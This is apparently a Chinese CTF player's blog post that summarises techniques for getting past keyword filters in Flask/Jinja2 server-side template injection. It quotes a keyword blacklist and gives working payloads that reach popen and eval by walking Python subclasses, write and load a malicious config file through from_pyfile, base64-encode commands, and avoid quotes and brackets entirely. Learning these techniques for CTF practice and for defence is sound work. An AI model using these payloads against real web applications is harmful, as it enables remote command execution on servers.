SSTI bypass 总结
寒假前最后一篇文章
说来也巧,前两天在ichunqiu上连续做了两道题居然都是模板注入。搜索资料之余也涨了不少见识,下面总结下这类题目的bypass技巧:(感谢各位dalao们的文章)
从这位dalao的wp中学习到的:
https://evi0s.com/2018/11/26/%E6%B7%B1%E5%85%A5ssti-%E4%BB%8Enctf2018%E4%B8%A4%E9%81%93flask%E7%9C%8Bbypass%E6%96%B0%E5%A7%BF%E5%8A%BF/
先拿去年校赛的SSTI源码中的黑名单看看:
blacklist = ['import','getattr','os','class','subclasses','mro','request','args','eval','if','for',' subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals']
做这类题目最要命的是什么?当然是限制类的访问,再进一步的话,对os的限制让我们不能轻易进行文件读取。
所以有了以下一个绕掉限制类的方法:
{{ session['__cla'+'ss__'] }}
首先由于session是dict对象,使我们可以通过键名来访问类。时候只需要一直访问基类即可回到ssti的常规payload上去。
{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0] }}.['__subcla'+'ss__']()
到这一步没有问题的话,就大有可为了。因为可以从回显的子类中挑选自己需要的类去进行后续操作。
之前看dalao的wp中总结的非常到位:
SSTI目的无非就是两个:文件读写、getshell。因此我们核心应该放在file类和os类
然后通过实例化后全局变量这一宝藏来进行文件读取。
.__init__.__globals__['po'+'pen']('ls /').read()
当然,像上面这种绕过还算友好。而做到ichunqiu中的FUZZ时,自己发现,实例化后到globals这一步就利用不了了,极有可能连globals关键字都waf了。
那么有没有方法不去调用globals(相当于放弃直接执行函数)进行getshell呢?有,而且是一个非常出色的利用:
参考下面这篇文章
https://www.freebuf.com/articles/web/98928.html
步骤:
1、注入
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
这将向远程服务器写入一个文件,当编译完成为subprocess模块引入check_output方法,并将其设置指向变量RUNCMD
{{ config.from_pyfile('/tmp/owned.cfg') }}
触发编译进程,向config对象添加一个新项
{{ config['RUNCMD']('id(操作)',shell=True) }}
达到命令执行的效用。
其中如果为了应付过滤的话,操作就变得多样了起来,比如利用管道符加上base64编码可以绕过检查,执行ls -la
{{config['RUNCMD']('`echo bHMgLWxh|base64 -d`',shell=True)}}
当然,如果不做到限制globals这么绝,但还是过滤了标点或者少部分关键字的话,我们还是可以用其它相对高级的方法绕过的:
以常规paylaod为例:
''.__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()
假如过滤了引号,那么从开始的第一对引号不能用,从os
开始的引号也不能用。
第一种绕过很简单,就是找代替。第一个引号的作用为了引出基类,而任何数据结构都可以引出基类,所以这里可以直接使用数组代替.使用[]
。
而后面的os的代替可以使用request.args
,它存储着请求参数以及其值的字典
参考下文
https://cloud.tencent.com/developer/article/1520397
http://152.136.21.148:5317/render?data={{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()}}&x1=__class__&x2=__base__&x3=__subclasses__
{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(233)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").system("ls")
完全杜绝了标点的使用。达到了注入的效果。
如果过滤中括号,则可以pop/getitem等数组自带方法。比如
"".__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(300).__init__.__globals__["os"]["popen"]("whoami").read()
大抵上如此。
这段时间因为马上准备复习期末了,所以不会再更新文章或者参加比赛。好好沉淀一下吧。